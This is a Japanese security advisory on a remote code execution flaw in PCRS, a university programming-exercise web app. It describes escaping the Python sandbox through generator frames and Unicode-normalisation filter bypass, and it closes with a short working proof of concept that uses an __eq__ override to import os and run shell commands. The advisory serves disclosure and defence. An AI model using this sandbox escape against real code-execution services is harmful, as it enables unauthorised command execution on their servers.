
PCRS は、トロント大学で開発されたオンラインプログラミング演習のためのウェブアプリケーションです。 Bitbucket リポジトリ: https://bitbucket.org/utmandrew/pcrs/src/3.11/
PCRS のコード提出機能を持つ「Questions」ページと「Code editor」ページは、Python サンドボックスをエスケープすることによりリモートコード実行 (RCE) に対して脆弱です。
PCRS インスタンスでは、ジェネレータオブジェクトを使用してリモートコード実行が可能です。ジェネレータフレーム (gi_frame) と f_back を使用することで、スクリプトはサンドボックス化されたスタックフレームから抜け出し、サンドボックス外の環境で悪意のあるコードを実行できます。さらに、Unicode 正規化によって基本的な入力サニタイズを簡単にバイパスできます。最小限の権限を持つ認証されたユーザーであれば誰でもこの攻撃を実行できます。詳細は PoC を参照してください。
セキュアな隔離メカニズムをゼロから構築することは、見落としや脆弱性を生みやすいです。常に、言語よりも実行環境をサンドボックス化する方が良いでしょう。
制限された環境では、__eq__ のオーバーライドが使用される可能性があります:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s